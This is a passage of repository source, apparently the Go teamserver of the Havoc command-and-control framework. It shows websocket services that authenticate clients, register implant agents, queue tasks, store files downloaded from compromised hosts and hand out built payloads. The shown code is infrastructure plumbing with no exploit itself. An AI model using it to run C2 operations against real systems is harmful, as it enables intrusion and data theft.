Traversal\n\t}\n\n\tphysExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool {\n\t\t_, supported := expr.(asTraversal)\n\t\treturn supported\n\t})\n\n\tif asT, supported := physExpr.(asTraversal); supported {\n\t\tif traversal := asT.AsTraversal(); len(traversal) == 1 {\n\t\t\treturn traversal.RootName()\n\t\t}\n\t}\n\treturn \"\"\n}\n"
  },
  {
    "path": "teamserver/pkg/service/agent.go",
    "content": "package service\n\nimport (\n    \"encoding/base64\"\n    \"encoding/json\"\n    \"fmt\"\n\n    \"Havoc/pkg/agent\"\n    \"Havoc/pkg/logger\"\n    \"Havoc/pkg/utils\"\n)\n\ntype CommandParam struct {\n    Name       string `json:\"Name\"`\n    IsFilePath bool   `json:\"IsFilePath\"`\n    IsOptional bool   `json:\"IsOptional\"`\n}\n\ntype Command struct {\n    Name        string         `json:\"Name\"`\n    Description string         `json:\"Description\"`\n    Help        string         `json:\"Help\"`\n    NeedAdmin   bool           `json:\"NeedAdmin\"`\n    Mitr        []string       `json:\"Mitr\"`\n    Params      []CommandParam `json:\"Params\"`\n}\n\ntype AgentService struct {\n    Name       string `json:\"Name\"`\n    MagicValue string `json:\"MagicValue\"`\n    Author     string `json:\"Author\"`\n    Formats    []struct {\n        Name      string\n        Extension string\n    } `json:\"Formats\"`\n    SupportedOS    []string               `json:\"SupportedOS\"`\n    Description    string                 `json:\"Description\"`\n    Commands       []Command              `json:\"Commands\"`\n    BuildingConfig map[string]interface{} `json:\"BuildingConfig\"`\n\n    client  *ClientService `json:\"-\"`\n    service *Service       `json:\"-\"`\n}\n\nfunc NewAgentService(data []byte, client *ClientService) *AgentService {\n    var service = new(AgentService)\n\n    service.client = client\n    err := json.Unmarshal(data, service)\n    if err != nil {\n        logger.Error(\"Failed to unmarshal json to object: \" + err.Error())\n        return nil\n    }\n\n    return service\n}\n\nfunc (a *AgentService) Json() string {\n    var JsonString, err = json.Marshal(a)\n    if err != nil {\n        return \"\"\n    }\n\n    return string(JsonString)\n}\n\nfunc (a *AgentService) SendTask(Command map[string]interface{}, AgentInfo any) {\n\n    var AgentRequest = map[string]map[string]interface{}{\n        \"Head\": {\n            \"Type\": HeadAgent,\n        },\n        \"Body\": {\n            \"Type\":    BodyAgentTask,\n            \"Agent\":   AgentInfo,\n            \"Command\": Command,\n            \"Task\":    \"Add\",\n        },\n    }\n\n    if err := a.client.WriteJson(AgentRequest); err != nil {\n        logger.Error(\"Failed to write json to websocket: \" + err.Error())\n        return\n    }\n}\n\nfunc (a *AgentService) SendResponse(AgentInfo any, Header agent.Header) []byte {\n\n    var (\n        randID = utils.GenerateID(6)\n\n        header = map[string]any{\n            \"Size\":       fmt.Sprintf(\"%v\", Header.Size),\n            \"AgentID\":    fmt.Sprintf(\"%08x\", Header.AgentID),\n            \"MagicValue\": fmt.Sprintf(\"%x\", Header.MagicValue),\n        }\n\n        AgentResponse = map[string]map[string]interface{}{\n            \"Head\": {\n                \"Type\": HeadAgent,\n            },\n            \"Body\": {\n                \"Type\":        BodyAgentResponse,\n                \"Agent\":       AgentInfo,\n                \"RandID\":      randID,\n                \"AgentHeader\": header,\n                \"Response\":    base64.StdEncoding.EncodeToString(Header.Data.Buffer()),\n            },\n        }\n    )\n\n    logger.Debug(AgentResponse)\n\n    if a.client.Responses == nil {\n        a.client.Responses = make(map[string]chan []byte)\n    }\n\n    a.client.Responses[randID] = make(chan []byte)\n\n    a.client.Mutex.Lock()\n    err := a.client.Conn.WriteJSON(AgentResponse)\n    a.client.Mutex.Unlock()\n\n    if err != nil {\n        logger.Error(\"Failed to write json to websocket: \" + err.Error())\n        return nil\n    }\n\n    var data []byte\n    if channel, ok := a.client.Responses[randID]; ok {\n        data = <-channel\n\n        close(a.client.Responses[randID])\n        delete(a.client.Responses, randID)\n    }\n\n    return data\n}\n\nfunc (a *AgentService) SendAgentBuildRequest(ClientID string, Config map[string]any, Options map[string]any) {\n    var AgentResponse = map[string]map[string]interface{}{\n        \"Head\": {\n            \"Type\": HeadAgent,\n        },\n        \"Body\": {\n            \"ClientID\": ClientID,\n            \"Type\":     BodyAgentBuild,\n            \"Config\":   Config,\n            \"Options\":  Options,\n        },\n    }\n\n    a.client.Mutex.Lock()\n    err := a.client.Conn.WriteJSON(AgentResponse)\n    a.client.Mutex.Unlock()\n\n    if err != nil {\n        logger.Error(\"Failed to write json to websocket: \" + err.Error())\n        return\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/service/external.go",
    "content": "package service\n"
  },
  {
    "path": "teamserver/pkg/service/listener.go",
    "content": "package service\n\nimport (\n\t\"Havoc/pkg/logger\"\n\t\"encoding/json\"\n)\n\ntype ListenerService struct {\n\tName  string           `json:\"Name\"`\n\tAgent string           `json:\"Agent\"`\n\tItems []map[string]any `json:\"Items\"`\n\n\t// from where this listener came from.\n\tclient *ClientService `json:\"-\"`\n}\n\nfunc (l *ListenerService) Start(Info map[string]any) error {\n\n\tvar Request = map[string]map[string]interface{}{\n\t\t\"Head\": {\n\t\t\t\"Type\": HeadListener,\n\t\t},\n\t\t\"Body\": {\n\t\t\t\"Type\":     BodyListenerStart,\n\t\t\t\"Listener\": Info,\n\t\t},\n\t}\n\n\tif err := l.client.WriteJson(Request); err != nil {\n\t\tlogger.Error(\"Failed to write json to websocket: \" + err.Error())\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (l *ListenerService) Json() string {\n\tvar JsonString, err = json.Marshal(l)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\treturn string(JsonString)\n}\n"
  },
  {
    "path": "teamserver/pkg/service/service.go",
    "content": "package service\n\nimport (\n\t\"Havoc/pkg/colors\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"Havoc/pkg/agent\"\n\t\"Havoc/pkg/common\"\n\t\"Havoc/pkg/events\"\n\t\"Havoc/pkg/logger\"\n\t\"Havoc/pkg/logr\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/gorilla/websocket\"\n\t\"golang.org/x/crypto/sha3\"\n)\n\n// Service API Module\n// Interact with external services (Custom Agents, ExternalC2s etc.)\n\nfunc NewService(engine *gin.Engine) *Service {\n\tvar service = new(Service)\n\n\tservice.engine = engine\n\n\treturn service\n}\n\nfunc (s *Service) Start() {\n\n\ts.engine.GET(\"/\"+s.Config.Endpoint, func(context *gin.Context) {\n\t\tupgrade := websocket.Upgrader{}\n\t\tWebSocket, err := upgrade.Upgrade(context.Writer, context.Request, nil)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Failed upgrading request: \" + err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tgo s.handleConnection(WebSocket)\n\t})\n\n}\n\nfunc (s *Service) handleConnection(socket *websocket.Conn) {\n\tvar client = new(ClientService)\n\tclient.Conn = socket\n\n\tif !s.authenticate(client) {\n\t\tlogger.Error(\"Failed to authenticate service client\")\n\n\t\terr := client.Conn.Close()\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Failed to close websocket service client: \" + err.Error())\n\t\t\treturn\n\t\t}\n\t\treturn\n\t}\n\n\t// now add the new connected client\n\ts.clients = append(s.clients, client)\n\n\t// dispatch incoming events\n\ts.routine(client)\n\n\t// close connection and remove from service client list\n\ts.ClientClose(client)\n}\n\nfunc (s *Service) authenticate(client *ClientService) bool {\n\tvar (\n\t\tAuthed      = false\n\t\tHasher      = sha3.New256()\n\t\tUserPass    string\n\t\tServicePass string\n\t\tAuthRequest struct {\n\t\t\tHead struct {\n\t\t\t\tType string `json:\"Type\"`\n\t\t\t} `json:\"Head\"`\n\n\t\t\tBody struct {\n\t\t\t\tPass string `json:\"Password\"`\n\t\t\t} `json:\"Body\"`\n\t\t}\n\t\tAuthResponse = map[string]map[string]interface{}{\n\t\t\t\"Head\": {\n\t\t\t\t\"Type\": HeadRegister,\n\t\t\t},\n\t\t\t\"Body\": {\n\t\t\t\t\"Success\": false,\n\t\t\t},\n\t\t}\n\t\tResponse []byte\n\t)\n\n\terr := client.Conn.ReadJSON(&AuthRequest)\n\tif err != nil {\n\t\tlogger.Error(\"Failed to read JSON message from websocket service client: \" + err.Error())\n\t\treturn false\n\t}\n\n\tif AuthRequest.Head.Type == HeadRegister {\n\n\t\tHasher.Write([]byte(AuthRequest.Body.Pass))\n\t\tUserPass = hex.EncodeToString(Hasher.Sum(nil))\n\t\tHasher.Reset()\n\n\t\tHasher.Write([]byte(s.Config.Password))\n\t\tServicePass = hex.EncodeToString(Hasher.Sum(nil))\n\t\tHasher.Reset()\n\n\t\tif UserPass == ServicePass {\n\t\t\tlogger.Debug(\"Service client authenticated\")\n\t\t\tAuthed = true\n\t\t}\n\n\t\tAuthResponse[\"Body\"][\"Success\"] = Authed\n\t\tResponse, err = json.Marshal(AuthResponse)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Failed marshaling response: \" + err.Error())\n\t\t}\n\n\t\tclient.Mutex.Lock()\n\t\terr := client.Conn.WriteMessage(websocket.TextMessage, Response)\n\t\tclient.Mutex.Unlock()\n\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Failed to write message: \" + err.Error())\n\t\t\treturn false\n\t\t}\n\n\t\treturn Authed\n\t}\n\n\treturn Authed\n}\n\n// the main service routine\nfunc (s *Service) routine(client *ClientService) {\n\tfor {\n\t\tvar (\n\t\t\t_, data, err = client.Conn.ReadMessage()\n\t\t\tresponse     = make(map[string]map[string]any)\n\t\t)\n\n\t\tif err != nil {\n\t\t\tlogger.DebugError(\"Failed to read JSON message from websocket service client: \" + err.Error())\n\t\t\treturn\n\t\t}\n\n\t\terr = json.Unmarshal(data, &response)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Failed to unmarshal websocket response: \" + err.Error())\n\t\t\treturn\n\t\t}\n\n\t\ts.dispatch(response, client)\n\t}\n}\n\nfunc (s *Service) dispatch(response map[string]map[string]any, client *ClientService) {\n\n\tswitch response[\"Head\"][\"Type\"] {\n\n\tcase HeadRegisterAgent:\n\n\t\tvar (\n\t\t\tdata []byte\n\t\t\terr  error\n\t\t\tas   *AgentService\n\t\t)\n\n\t\tdata, err = json.Marshal(response[\"Body\"][\"Agent\"])\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Failed to marshal object to json: \" + err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tas = NewAgentService(data, client)\n\t\tif as == nil {\n\t\t\tlogger.Error(\"Failed to make a new service agent.\")\n\t\t\treturn\n\t\t}\n\n\t\t// check if that agent name is already registered.\n\t\tif s.AgentExist(as.Name) {\n\t\t\tlogger.Error(fmt.Sprintf(\"Service agent \\\"%v\\\"already registered \", as.Name))\n\t\t\treturn\n\t\t}\n\n\t\tas.service = s\n\n\t\ts.Agents = append(s.Agents, as)\n\n\t\tlogger.Info(fmt.Sprintf(\"%v registered a new agent %v\", \"[\"+colors.BoldWhite(\"SERVICE\")+\"]\", \"[Name: \"+colors.Blue(as.Name)+\"]\"))\n\n\t\tpk := events.Service.AgentRegister(string(data))\n\t\ts.Teamserver.EventAppend(pk)\n\t\ts.Teamserver.EventBroadcast(\"\", pk)\n\n\t\tlogger.Debug(as.Json())\n\n\tcase HeadAgent:\n\n\t\tswitch response[\"Body\"][\"Type\"] {\n\n\t\tcase BodyAgentTask:\n\t\t\tvar (\n\t\t\t\tAgent map[string]any\n\t\t\t\tTask  string\n\t\t\t)\n\n\t\t\tif val, ok := response[\"Body\"][\"Agent\"]; ok && val != nil {\n\t\t\t\tAgent = val.(map[string]any)\n\t\t\t}\n\n\t\t\tif val, ok := response[\"Body\"][\"Task\"]; ok {\n\t\t\t\tTask = val.(string)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(\"response BodyAgentTask doesn't contain Task\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif Task == \"Add\" {\n\n\t\t\t\tfor index := range s.Data.ServerAgents.Agents {\n\n\t\t\t\t\tif Agent[\"NameID\"] == s.Data.ServerAgents.Agents[index].NameID {\n\n\t\t\t\t\t\tvar Command, err = base64.StdEncoding.DecodeString(response[\"Body\"][\"Command\"].(string))\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlogger.Error(\"Failed to decode command response: \" + err.Error())\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tvar TaskJob = agent.Job{\n\t\t\t\t\t\t\tPayload: Command,\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\ts.Data.ServerAgents.Agents[index].AddJobToQueue(TaskJob)\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t} else if Task == \"Get\" {\n\n\t\t\t\tif _, ok := response[\"Body\"][\"TasksQueue\"]; !ok {\n\n\t\t\t\t\tfor index := range s.Data.ServerAgents.Agents {\n\n\t\t\t\t\t\tif Agent[\"NameID\"] == s.Data.ServerAgents.Agents[index].NameID {\n\t\t\t\t\t\t\tlogger.Debug(\"Found agent\")\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tTasksQueue    = s.Data.ServerAgents.Agents[index].GetQueuedJobs()\n\t\t\t\t\t\t\t\tPayloadBuffer []byte\n\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\tfor _, task := range TasksQueue {\n\t\t\t\t\t\t\t\tPayloadBuffer = append(PayloadBuffer, task.Payload...)\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tresponse[\"Body\"][\"TasksQueue\"] = base64.StdEncoding.EncodeToString(PayloadBuffer)\n\n\t\t\t\t\t\t\tif err := client.WriteJson(response); err != nil {\n\t\t\t\t\t\t\t\tlogger.Debug(\"Failed to write json to service client: \" + err.Error())\n\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\ts.Data.ServerAgents.Agents[index].Info.LastCallIn = time.Now().Format(\"02-01-2006 15:04:05\")\n\n\t\t\t\t\t\t\tlogger.Debug(\"Wrote to the client\")\n\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\tcase BodyAgentRegister:\n\n\t\t\tvar (\n\t\t\t\tSize          int\n\t\t\t\tMagicValue    string\n\t\t\t\tAgentID       string\n\t\t\t\tHeader        = agent.Header{}\n\t\t\t\tRegisterInfo  = response[\"Body\"][\"RegisterInfo\"].(map[string]any)\n\t\t\t\tAgentInstance *agent.Agent\n\t\t\t\terr           error\n\t\t\t)\n\n\t\t\tlogger.Debug(RegisterInfo)\n\n\t\t\tif val, ok := response[\"Body\"][\"AgentHeader\"].(map[string]any)[\"Size\"]; ok {\n\t\t\t\tif Size, err = strconv.Atoi(val.(string)); err != nil {\n\t\t\t\t\tSize = 0\n\t\t\t\t}\n\t\t\t\tHeader.Size = Size\n\t\t\t}\n\n\t\t\tif val, ok := response[\"Body\"][\"AgentHeader\"].(map[string]any)[\"MagicValue\"]; ok {\n\t\t\t\tMagicValue = val.(string)\n\t\t\t}\n\n\t\t\tif val, ok := response[\"Body\"][\"AgentHeader\"].(map[string]any)[\"AgentID\"]; ok {\n\t\t\t\tAgentID = val.(string)\n\t\t\t}\n\n\t\t\tMagicValue64, err := strconv.ParseInt(MagicValue, 16, 32)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"MagicValue64: \" + err.Error())\n\t\t\t}\n\n\t\t\tAgentID64, err := strconv.ParseInt(AgentID, 16, 32)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"MagicValue64: \" + err.Error())\n\t\t\t}\n\n\t\t\tHeader.AgentID = int(AgentID64)\n\t\t\tHeader.MagicValue = int(MagicValue64)\n\n\t\t\tlogger.Debug(Header)\n\n\t\t\tAgentInstance = agent.RegisterInfoToInstance(Header, RegisterInfo)\n\n\t\t\tAgentInstance.Info.MagicValue = Header.MagicValue\n\t\t\t// AgentInstance.Info.Listener   = h\n\n\t\t\ts.Teamserver.AgentAdd(AgentInstance)\n\n\t\t\tpk := events.Demons.NewDemon(AgentInstance)\n\t\t\ts.Teamserver.EventAppend(pk)\n\t\t\ts.Teamserver.EventBroadcast(\"\", pk)\n\n\t\t\tbreak\n\n\t\tcase BodyAgentResponse:\n\t\t\tlogger.Debug(\"BodyAgentResponse\")\n\t\t\tlogger.Debug(response)\n\n\t\t\tvar RandID string\n\n\t\t\tif val, ok := response[\"Body\"][\"RandID\"]; ok {\n\t\t\t\tRandID = val.(string)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(\"RandID not found\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tlogger.Debug(s.clients)\n\t\t\tfor _, c := range s.clients {\n\n\t\t\t\tif channel, ok := c.Responses[RandID]; ok {\n\n\t\t\t\t\tif val, ok := response[\"Body\"][\"Response\"]; ok {\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tresp []byte\n\t\t\t\t\t\t\terr  error\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\tif resp, err = base64.StdEncoding.DecodeString(val.(string)); err != nil {\n\t\t\t\t\t\t\tlogger.Debug(\"Failed to decode base64: \" + err.Error())\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tchannel <- resp\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase BodyAgentOutput:\n\t\t\tvar (\n\t\t\t\tAgentID  = response[\"Body\"][\"AgentID\"].(string)\n\t\t\t\tCallback = response[\"Body\"][\"Callback\"].(map[string]any)\n\t\t\t)\n\n\t\t\tif Callback[\"MiscType\"] == \"download\" {\n\n\t\t\t\tvar (\n\t\t\t\t\tFileName   = Callback[\"FileName\"].(string)\n\t\t\t\t\tContentB64 = Callback[\"Content\"].(string)\n\t\t\t\t)\n\n\t\t\t\tif FileContent, err := base64.StdEncoding.DecodeString(ContentB64); err == nil {\n\n\t\t\t\t\tFileName = strings.Replace(FileName, \"\\x00\", \"\", -1)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Added downloaded file %v to agent directory: %v\", FileName, AgentID))\n\t\t\t\t\tlogr.LogrInstance.DemonAddDownloadedFile(AgentID, FileName, FileContent)\n\t\t\t\t\tCallback = make(map[string]any)\n\n\t\t\t\t\tCallback[\"MiscType\"] = \"download\"\n\t\t\t\t\tCallback[\"MiscData\"] = ContentB64\n\t\t\t\t\tCallback[\"MiscData2\"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + \";\" + common.ByteCountSI(int64(len(FileContent)))\n\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(\"Failed to decode FileContent base64: \" + err.Error())\n\n\t\t\t\t\tCallback = make(map[string]any)\n\t\t\t\t\tCallback[\"Type\"] = \"Error\"\n\t\t\t\t\tCallback[\"Message\"] = \"Failed to decode FileContent base64: \" + err.Error()\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif out, err := json.Marshal(Callback); err == nil {\n\t\t\t\tpk := events.Demons.DemonOutput(AgentID, agent.HAVOC_CONSOLE_MESSAGE, string(out))\n\t\t\t\ts.Teamserver.EventAppend(pk)\n\t\t\t\ts.Teamserver.EventBroadcast(\"\", pk)\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase BodyAgentBuild:\n\t\t\tvar (\n\t\t\t\tClientID = response[\"Body\"][\"ClientID\"].(string)\n\t\t\t\tMessage  = response[\"Body\"][\"Message\"].(map[string]any)\n\t\t\t)\n\n\t\t\tif len(ClientID) > 0 {\n\n\t\t\t\tif _, ok := Message[\"FileName\"]; ok {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tFileName   = Message[\"FileName\"].(string)\n\t\t\t\t\t\tPayloadMsg = Message[\"Payload\"].(string)\n\t\t\t\t\t\tPayload    []byte\n\t\t\t\t\t\terr        error\n\t\t\t\t\t)\n\n\t\t\t\t\tPayload, err = base64.StdEncoding.DecodeString(PayloadMsg)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\terr = s.Teamserver.SendEvent(ClientID, events.Gate.SendConsoleMessage(\"Error\", \"Failed to decode base64 payload: \"+err.Error()))\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlogger.Error(\"Couldn't send Event: \" + err.Error())\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\terr = s.Teamserver.SendEvent(ClientID, events.Gate.SendStageless(FileName, Payload))\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlogger.Error(\"Error while sending event: \" + err.Error())\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tMessageType = Message[\"Type\"].(string)\n\t\t\t\t\t\tMessageText = Message[\"Message\"].(string)\n\t\t\t\t\t)\n\n\t\t\t\t\terr := s.Teamserver.SendEvent(ClientID, events.Gate.SendConsoleMessage(MessageType, MessageText))\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlogger.Error(\"Couldn't send Event: \" + err.Error())\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tlogger.Error(\"ClientID not specified\")\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tdefault:\n\t\t\tbreak\n\t\t}\n\n\t\tbreak\n\n\tcase HeadListener:\n\n\t\tswitch response[\"Body\"][\"Type\"] {\n\n\t\tcase BodyListenerAdd:\n\n\t\t\tif val, ok := response[\"Body\"][\"Listener\"]; ok {\n\n\t\t\t\tvar (\n\t\t\t\t\tlistenerService = new(ListenerService)\n\t\t\t\t\tListener        map[string]any\n\t\t\t\t)\n\n\t\t\t\tListener = val.(map[string]any)\n\n\t\t\t\t// retrieve the listener name\n\t\t\t\tif val, ok = Listener[\"Name\"]; ok {\n\t\t\t\t\tlistenerService.Name = val.(string)\n\t\t\t\t} else {\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// retrieve the listener agent allowed\n\t\t\t\tif val, ok = Listener[\"Agent\"]; ok {\n\t\t\t\t\tlistenerService.Agent = val.(string)\n\t\t\t\t} else {\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// retrieve the listener agent allowed\n\t\t\t\tif val, ok = Listener[\"Items\"]; ok {\n\t\t\t\t\tfor _, a := range val.([]any) {\n\t\t\t\t\t\tlistenerService.Items = append(listenerService.Items, a.(map[string]any))\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tlistenerService.client = client\n\n\t\t\t\tif !s.ListenerExist(listenerService.Name) {\n\t\t\t\t\ts.ListenerAdd(listenerService)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Error(fmt.Sprintf(\"Service listener already exist %v\", listenerService.Name))\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase BodyListenerStart:\n\n\t\t\tif val, ok := response[\"Body\"][\"Listener\"]; ok {\n\n\t\t\t\tvar (\n\t\t\t\t\tData     map[string]any\n\t\t\t\t\tListener = map[string]any{}\n\t\t\t\t)\n\n\t\t\t\tData = val.(map[string]any)\n\n\t\t\t\t// retrieve the listener name\n\t\t\t\tif val, ok = Data[\"Name\"]; ok {\n\t\t\t\t\tListener[\"Name\"] = val\n\t\t\t\t} else {\n\t\t\t\t\tlogger.DebugError(\"BodyListenerStart body listener doesn't contain Host string\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// retrieve the listener protocol\n\t\t\t\tif val, ok = Data[\"Protocol\"]; ok {\n\t\t\t\t\tListener[\"Protocol\"] = val\n\t\t\t\t} else {\n\t\t\t\t\tlogger.DebugError(\"BodyListenerStart body listener doesn't contain Protocol string\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// retrieve the listener host\n\t\t\t\tif val, ok = Data[\"Host\"]; ok {\n\t\t\t\t\tListener[\"Host\"] = val\n\t\t\t\t} else {\n\t\t\t\t\tlogger.DebugError(\"BodyListenerStart body listener doesn't contain Host string\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// retrieve the listener port\n\t\t\t\tif val, ok = Data[\"PortBind\"]; ok {\n\t\t\t\t\tListener[\"Port\"] = val\n\t\t\t\t} else {\n\t\t\t\t\tlogger.DebugError(\"BodyListenerStart body listener doesn't contain Port string\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// retrieve the listener error\n\t\t\t\tif val, ok = Data[\"Error\"]; ok {\n\t\t\t\t\tListener[\"Error\"] = val\n\t\t\t\t} else {\n\t\t\t\t\tlogger.DebugError(\"BodyListenerStart body listener doesn't contain Error string\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// retrieve the listener status\n\t\t\t\tif val, ok = Data[\"Status\"]; ok {\n\t\t\t\t\tListener[\"Status\"] = val\n\t\t\t\t} else {\n\t\t\t\t\tlogger.DebugError(\"BodyListenerStart body listener doesn't contain Status string\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// retrieve the listener info\n\t\t\t\tif val, ok = Data[\"Info\"]; ok {\n\t\t\t\t\tListener[\"Info\"] = val\n\t\t\t\t} else {\n\t\t\t\t\tlogger.DebugError(\"BodyListenerStart body listener doesn't contain Info map\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// notify that we have an instance running.\n\t\t\t\ts.Teamserver.ListenerStartNotify(Listener)\n\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase BodyListenerExC2:\n\n\t\t\tvar (\n\t\t\t\tExternalName     string\n\t\t\t\tExternalEndpoint string\n\t\t\t\terr              error\n\t\t\t\tRequest          = map[string]map[string]any{\n\t\t\t\t\t\"Head\": {\n\t\t\t\t\t\t\"Type\": HeadListener,\n\t\t\t\t\t},\n\t\t\t\t\t\"Body\": {\n\t\t\t\t\t\t\"Type\": BodyListenerExC2,\n\t\t\t\t\t\t\"ExC2\": map[string]any{\n\t\t\t\t\t\t\t\"Success\": true,\n\t\t\t\t\t\t\t\"Error\":   \"\",\n\t\t\t\t\t\t\t\"Name\":    \"\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t)\n\n\t\t\t// retrieve the request id\n\t\t\tif val, ok := response[\"Head\"][\"RequestID\"]; ok {\n\t\t\t\tRequest[\"Head\"][\"RequestID\"] = val.(string)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(\"Error: Head ExternalC2 RequestID not provided\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// retrieve the externalc2 listener name\n\t\t\tif val, ok := response[\"Body\"][\"Name\"]; ok {\n\t\t\t\tExternalName = val.(string)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(\"Error: BodyListenerExC2 ExternalC2 Name not provided\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// retrieve the externalc2 listener endpoint\n\t\t\tif val, ok := response[\"Body\"][\"Endpoint\"]; ok {\n\t\t\t\tExternalEndpoint = val.(string)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(\"Error: BodyListenerExC2 ExternalC2 Endpoint not provided\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tlogger.Debug(\"Start listener service external c2\", ExternalName, ExternalEndpoint)\n\n\t\t\t// start the service external c2 listener\n\t\t\tif err = s.Teamserver.ListenerServiceExc2Add(ExternalName, ExternalEndpoint, client); err != nil {\n\t\t\t\tlogger.Error(\"Failed to start listener service externalC2: \" + err.Error())\n\n\t\t\t\tRequest[\"Body\"][\"ExC2\"].(map[string]any)[\"Success\"] = false\n\t\t\t\tRequest[\"Body\"][\"ExC2\"].(map[string]any)[\"Error\"] = err.Error()\n\t\t\t}\n\n\t\t\terr = client.WriteJson(Request)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Failed to write to client websocket: \" + err.Error())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase BodyListenerTransmit:\n\n\t\t\tvar (\n\t\t\t\tRequestID string\n\t\t\t\tResponse  []byte\n\t\t\t\terr       error\n\t\t\t)\n\n\t\t\tif val, ok := response[\"Head\"][\"RequestID\"]; ok {\n\t\t\t\tRequestID = val.(string)\n\t\t\t} else {\n\t\t\t\tlogger.Debug(\"[BodyListenerTransmit] Failed to retrieve Head RequestID\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif Response, err = base64.StdEncoding.DecodeString(response[\"Body\"][\"Request\"].(string)); err != nil {\n\t\t\t\tlogger.Debug(\"[BodyListenerTransmit] Failed to decode request response: \" + err.Error())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif channel, ok := client.Responses[RequestID]; ok {\n\t\t\t\tchannel <- Response\n\t\t\t} else {\n\t\t\t\tlogger.Debug(\"[BodyListenerTransmit] Failed to retrieve response channel\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tbreak\n\n\t\t}\n\n\t\tbreak\n\n\tdefault:\n\t\tbreak\n\n\t}\n}\n\nfunc (s *Service) AgentExist(name string) bool {\n\tfor _, a := range s.Agents {\n\t\tif a.Name == name {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc (s *Service) ClientClose(client *ClientService) {\n\n\tif client == nil {\n\t\treturn\n\t}\n\n\tfor i := range s.clients {\n\t\tif s.clients[i] == client {\n\n\t\t\t// remove registered agents\n\t\t\tfor j := range s.Agents {\n\t\t\t\tif s.Agents[j] != nil {\n\t\t\t\t\tif s.Agents[j].client == client {\n\t\t\t\t\t\tlogger.Warn(fmt.Sprintf(\"%v unregistered agent %v\", 